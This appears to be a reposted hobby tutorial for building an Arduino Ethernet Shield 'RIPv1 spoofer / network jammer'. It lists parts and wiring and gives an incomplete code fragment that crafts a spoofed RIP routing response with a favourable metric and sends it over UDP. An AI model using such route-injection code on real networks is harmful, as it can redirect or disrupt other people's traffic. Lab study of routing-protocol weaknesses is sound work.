details
This project is an example of Arduino Ethernet Shield Tutorial.
This project would be included in Tutorial category of WIZnet Museum.
Arduino Routing Protocol RIPv1 Spoofer / Network Jammer – Ethernet Shield Tutorial
Things you need:
•Arduino
•Ethernet Shield
•Network
•Router running RIP for testing
•Optional LCD screen
Connect the Shield and Screen
First things first is to connect the physical equipment.
Mount the shield and connect it to your network.
Wire up an LCD screen if you want to.
I have used the following pins for the LCD:
2, A0-A4
Upload the Code!
memset(packetBuffer, 0, packetSize); // erase the contents of packetBuffer packetBuffer[0] = 0x2; // Rip command type of response packetBuffer[1]= 0x1; //Define which version of RIP to use: RIP v1 packetBuffer[2] = 0x0;// bytes of padding packetBuffer[3]= 0x0; packetBuffer[4]= 0x0; packetBuffer[5] = 0x02; packetBuffer[8]= 0xC0; // first octet of network ID to spoof 0xC0 = 192 in decimal, this could be any network you want to advertise packetBuffer[23]=0x00; // metric for the route, the lower the metric the more favourable it is Udp.write(packetBuffer,packetSize); Udp.endPacket();// note the packet isn’t actually sent until you call endPacket().
Video
If you want to know more in detail, refer to
Source : http://www.instructables.com/id/Arduino-Routing-Protocol-RIPv1-Spoofer-Network-Jam/
COMMENTS